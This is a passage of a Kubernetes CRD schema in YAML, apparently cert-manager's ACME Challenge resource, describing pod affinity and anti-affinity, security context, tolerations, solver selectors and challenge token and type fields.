                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                          Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      mismatchLabelKeys:
                                                        description: |-
                                                          MismatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                          Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      namespaceSelector:
                                                        description: |-
                                                          A label query over the set of namespaces that the term applies to.
                                                          The term is applied to the union of the namespaces selected by this field
                                                          and the ones listed in the namespaces field.
                                                          null selector and null or empty namespaces list means "this pod's namespace".
                                                          An empty selector ({}) matches all namespaces.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      namespaces:
                                                        description: |-
                                                          namespaces specifies a static list of namespace names that the term applies to.
                                                          The term is applied to the union of the namespaces listed in this field
                                                          and the ones selected by namespaceSelector.
                                                          null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      topologyKey:
                                                        description: |-
                                                          This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                          the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                          whose value of the label with key topologyKey matches that of any node on which any of the
                                                          selected pods is running.
                                                          Empty topologyKey is not allowed.
                                                        type: string
                                                    required:
                                                    - topologyKey
                                                    type: object
                                                  weight:
                                                    description: |-
                                                      weight associated with matching the corresponding podAffinityTerm,
                                                      in the range 1-100.
                                                    format: int32
                                                    type: integer
                                                required:
                                                - podAffinityTerm
                                                - weight
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                            requiredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                If the affinity requirements specified by this field are not met at
                                                scheduling time, the pod will not be scheduled onto the node.
                                                If the affinity requirements specified by this field cease to be met
                                                at some point during pod execution (e.g. due to a pod label update), the
                                                system may or may not try to eventually evict the pod from its node.
                                                When there are multiple elements, the lists of nodes corresponding to each
                                                podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                              items:
                                                description: |-
                                                  Defines a set of pods (namely those matching the labelSelector
                                                  relative to the given namespace(s)) that this pod should be
                                                  co-located (affinity) or not co-located (anti-affinity) with,
                                                  where co-located is defined as running on a node whose value of
                                                  the label with key <topologyKey> matches that of any node on which
                                                  a pod of the set of pods is running
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          type: object
                                        podAntiAffinity:
                                          description: Describes pod anti-affinity
                                            scheduling rules (e.g. avoid putting this
                                            pod in the same node, zone, etc. as some
                                            other pod(s)).
                                          properties:
                                            preferredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                The scheduler will prefer to schedule pods to nodes that satisfy
                                                the anti-affinity expressions specified by this field, but it may choose
                                                a node that violates one or more of the expressions. The node that is
                                                most preferred is the one with the greatest sum of weights, i.e.
                                                for each node that meets all of the scheduling requirements (resource
                                                request, requiredDuringScheduling anti-affinity expressions, etc.),
                                                compute a sum by iterating through the elements of this field and adding
                                                "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                                node(s) with the highest sum are the most preferred.
                                              items:
                                                description: The weights of all of
                                                  the matched WeightedPodAffinityTerm
                                                  fields are added per-node to find
                                                  the most preferred node(s)
                                                properties:
                                                  podAffinityTerm:
                                                    description: Required. A pod affinity
                                                      term, associated with the corresponding
                                                      weight.
                                                    properties:
                                                      labelSelector:
                                                        description: |-
                                                          A label query over a set of resources, in this case pods.
                                                          If it's null, this PodAffinityTerm matches with no Pods.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      matchLabelKeys:
                                                        description: |-
                                                          MatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                          Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      mismatchLabelKeys:
                                                        description: |-
                                                          MismatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                          Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      namespaceSelector:
                                                        description: |-
                                                          A label query over the set of namespaces that the term applies to.
                                                          The term is applied to the union of the namespaces selected by this field
                                                          and the ones listed in the namespaces field.
                                                          null selector and null or empty namespaces list means "this pod's namespace".
                                                          An empty selector ({}) matches all namespaces.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      namespaces:
                                                        description: |-
                                                          namespaces specifies a static list of namespace names that the term applies to.
                                                          The term is applied to the union of the namespaces listed in this field
                                                          and the ones selected by namespaceSelector.
                                                          null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      topologyKey:
                                                        description: |-
                                                          This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                          the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                          whose value of the label with key topologyKey matches that of any node on which any of the
                                                          selected pods is running.
                                                          Empty topologyKey is not allowed.
                                                        type: string
                                                    required:
                                                    - topologyKey
                                                    type: object
                                                  weight:
                                                    description: |-
                                                      weight associated with matching the corresponding podAffinityTerm,
                                                      in the range 1-100.
                                                    format: int32
                                                    type: integer
                                                required:
                                                - podAffinityTerm
                                                - weight
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                            requiredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                If the anti-affinity requirements specified by this field are not met at
                                                scheduling time, the pod will not be scheduled onto the node.
                                                If the anti-affinity requirements specified by this field cease to be met
                                                at some point during pod execution (e.g. due to a pod label update), the
                                                system may or may not try to eventually evict the pod from its node.
                                                When there are multiple elements, the lists of nodes corresponding to each
                                                podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                              items:
                                                description: |-
                                                  Defines a set of pods (namely those matching the labelSelector
                                                  relative to the given namespace(s)) that this pod should be
                                                  co-located (affinity) or not co-located (anti-affinity) with,
                                                  where co-located is defined as running on a node whose value of
                                                  the label with key <topologyKey> matches that of any node on which
                                                  a pod of the set of pods is running
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          type: object
                                      type: object
                                    imagePullSecrets:
                                      description: If specified, the pod's imagePullSecrets
                                      items:
                                        description: |-
                                          LocalObjectReference contains enough information to let you locate the
                                          referenced object inside the same namespace.
                                        properties:
                                          name:
                                            default: ""
                                            description: |-
                                              Name of the referent.
                                              This field is effectively required, but due to backwards compatibility is
                                              allowed to be empty. Instances of this type with an empty value here are
                                              almost certainly wrong.
                                              More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                            type: string
                                        type: object
                                        x-kubernetes-map-type: atomic
                                      type: array
                                    nodeSelector:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        NodeSelector is a selector which must be true for the pod to fit on a node.
                                        Selector which must match a node's labels for the pod to be scheduled on that node.
                                        More info: https://kubernetes.io/docs/concepts/configuration/assign-pod-node/
                                      type: object
                                    priorityClassName:
                                      description: If specified, the pod's priorityClassName.
                                      type: string
                                    securityContext:
                                      description: If specified, the pod's security
                                        context
                                      properties:
                                        fsGroup:
                                          description: |-
                                            A special supplemental group that applies to all containers in a pod.
                                            Some volume types allow the Kubelet to change the ownership of that volume
                                            to be owned by the pod:

                                            1. The owning GID will be the FSGroup
                                            2. The setgid bit is set (new files created in the volume will be owned by FSGroup)
                                            3. The permission bits are OR'd with rw-rw----

                                            If unset, the Kubelet will not modify the ownership and permissions of any volume.
                                            Note that this field cannot be set when spec.os.name is windows.
                                          format: int64
                                          type: integer
                                        fsGroupChangePolicy:
                                          description: |-
                                            fsGroupChangePolicy defines behavior of changing ownership and permission of the volume
                                            before being exposed inside Pod. This field will only apply to
                                            volume types which support fsGroup based ownership(and permissions).
                                            It will have no effect on ephemeral volume types such as: secret, configmaps
                                            and emptydir.
                                            Valid values are "OnRootMismatch" and "Always". If not specified, "Always" is used.
                                            Note that this field cannot be set when spec.os.name is windows.
                                          type: string
                                        runAsGroup:
                                          description: |-
                                            The GID to run the entrypoint of the container process.
                                            Uses runtime default if unset.
                                            May also be set in SecurityContext.  If set in both SecurityContext and
                                            PodSecurityContext, the value specified in SecurityContext takes precedence
                                            for that container.
                                            Note that this field cannot be set when spec.os.name is windows.
                                          format: int64
                                          type: integer
                                        runAsNonRoot:
                                          description: |-
                                            Indicates that the container must run as a non-root user.
                                            If true, the Kubelet will validate the image at runtime to ensure that it
                                            does not run as UID 0 (root) and fail to start the container if it does.
                                            If unset or false, no such validation will be performed.
                                            May also be set in SecurityContext.  If set in both SecurityContext and
                                            PodSecurityContext, the value specified in SecurityContext takes precedence.
                                          type: boolean
                                        runAsUser:
                                          description: |-
                                            The UID to run the entrypoint of the container process.
                                            Defaults to user specified in image metadata if unspecified.
                                            May also be set in SecurityContext.  If set in both SecurityContext and
                                            PodSecurityContext, the value specified in SecurityContext takes precedence
                                            for that container.
                                            Note that this field cannot be set when spec.os.name is windows.
                                          format: int64
                                          type: integer
                                        seLinuxOptions:
                                          description: |-
                                            The SELinux context to be applied to all containers.
                                            If unspecified, the container runtime will allocate a random SELinux context for each
                                            container.  May also be set in SecurityContext.  If set in
                                            both SecurityContext and PodSecurityContext, the value specified in SecurityContext
                                            takes precedence for that container.
                                            Note that this field cannot be set when spec.os.name is windows.
                                          properties:
                                            level:
                                              description: Level is SELinux level
                                                label that applies to the container.
                                              type: string
                                            role:
                                              description: Role is a SELinux role
                                                label that applies to the container.
                                              type: string
                                            type:
                                              description: Type is a SELinux type
                                                label that applies to the container.
                                              type: string
                                            user:
                                              description: User is a SELinux user
                                                label that applies to the container.
                                              type: string
                                          type: object
                                        seccompProfile:
                                          description: |-
                                            The seccomp options to use by the containers in this pod.
                                            Note that this field cannot be set when spec.os.name is windows.
                                          properties:
                                            localhostProfile:
                                              description: |-
                                                localhostProfile indicates a profile defined in a file on the node should be used.
                                                The profile must be preconfigured on the node to work.
                                                Must be a descending path, relative to the kubelet's configured seccomp profile location.
                                                Must be set if type is "Localhost". Must NOT be set for any other type.
                                              type: string
                                            type:
                                              description: |-
                                                type indicates which kind of seccomp profile will be applied.
                                                Valid options are:

                                                Localhost - a profile defined in a file on the node should be used.
                                                RuntimeDefault - the container runtime default profile should be used.
                                                Unconfined - no profile should be applied.
                                              type: string
                                          required:
                                          - type
                                          type: object
                                        supplementalGroups:
                                          description: |-
                                            A list of groups applied to the first process run in each container, in addition
                                            to the container's primary GID, the fsGroup (if specified), and group memberships
                                            defined in the container image for the uid of the container process. If unspecified,
                                            no additional groups are added to any container. Note that group memberships
                                            defined in the container image for the uid of the container process are still effective,
                                            even if they are not included in this list.
                                            Note that this field cannot be set when spec.os.name is windows.
                                          items:
                                            format: int64
                                            type: integer
                                          type: array
                                        sysctls:
                                          description: |-
                                            Sysctls hold a list of namespaced sysctls used for the pod. Pods with unsupported
                                            sysctls (by the container runtime) might fail to launch.
                                            Note that this field cannot be set when spec.os.name is windows.
                                          items:
                                            description: Sysctl defines a kernel parameter
                                              to be set
                                            properties:
                                              name:
                                                description: Name of a property to
                                                  set
                                                type: string
                                              value:
                                                description: Value of a property to
                                                  set
                                                type: string
                                            required:
                                            - name
                                            - value
                                            type: object
                                          type: array
                                      type: object
                                    serviceAccountName:
                                      description: If specified, the pod's service
                                        account
                                      type: string
                                    tolerations:
                                      description: If specified, the pod's tolerations.
                                      items:
                                        description: |-
                                          The pod this Toleration is attached to tolerates any taint that matches
                                          the triple <key,value,effect> using the matching operator <operator>.
                                        properties:
                                          effect:
                                            description: |-
                                              Effect indicates the taint effect to match. Empty means match all taint effects.
                                              When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                                            type: string
                                          key:
                                            description: |-
                                              Key is the taint key that the toleration applies to. Empty means match all taint keys.
                                              If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                                            type: string
                                          operator:
                                            description: |-
                                              Operator represents a key's relationship to the value.
                                              Valid operators are Exists and Equal. Defaults to Equal.
                                              Exists is equivalent to wildcard for value, so that a pod can
                                              tolerate all taints of a particular category.
                                            type: string
                                          tolerationSeconds:
                                            description: |-
                                              TolerationSeconds represents the period of time the toleration (which must be
                                              of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                                              it is not set, which means tolerate the taint forever (do not evict). Zero and
                                              negative values will be treated as 0 (evict immediately) by the system.
                                            format: int64
                                            type: integer
                                          value:
                                            description: |-
                                              Value is the taint value the toleration matches to.
                                              If the operator is Exists, the value should be empty, otherwise just a regular string.
                                            type: string
                                        type: object
                                      type: array
                                  type: object
                              type: object
                            serviceType:
                              description: |-
                                Optional service type for Kubernetes solver service. Supported values
                                are NodePort or ClusterIP. If unset, defaults to NodePort.
                              type: string
                          type: object
                      type: object
                    selector:
                      description: |-
                        Selector selects a set of DNSNames on the Certificate resource that
                        should be solved using this challenge solver.
                        If not specified, the solver will be treated as the 'default' solver
                        with the lowest priority, i.e. if any other solver has a more specific
                        match, it will be used instead.
                      properties:
                        dnsNames:
                          description: |-
                            List of DNSNames that this solver will be used to solve.
                            If specified and a match is found, a dnsNames selector will take
                            precedence over a dnsZones selector.
                            If multiple solvers match with the same dnsNames value, the solver
                            with the most matching labels in matchLabels will be selected.
                            If neither has more matches, the solver defined earlier in the list
                            will be selected.
                          items:
                            type: string
                          type: array
                        dnsZones:
                          description: |-
                            List of DNSZones that this solver will be used to solve.
                            The most specific DNS zone match specified here will take precedence
                            over other DNS zone matches, so a solver specifying sys.example.com
                            will be selected over one specifying example.com for the domain
                            www.sys.example.com.
                            If multiple solvers match with the same dnsZones value, the solver
                            with the most matching labels in matchLabels will be selected.
                            If neither has more matches, the solver defined earlier in the list
                            will be selected.
                          items:
                            type: string
                          type: array
                        matchLabels:
                          additionalProperties:
                            type: string
                          description: |-
                            A label selector that is used to refine the set of certificate's that
                            this challenge solver will apply to.
                          type: object
                      type: object
                  type: object
                token:
                  description: |-
                    The ACME challenge token for this challenge.
                    This is the raw value returned from the ACME server.
                  type: string
                type:
                  description: |-
                    The type of ACME challenge this resource represents.
                    One of "HTTP-01" or "DNS-01".
                  enum:
                  - HTTP-01
                  - DNS-01
                  type: string
                url:
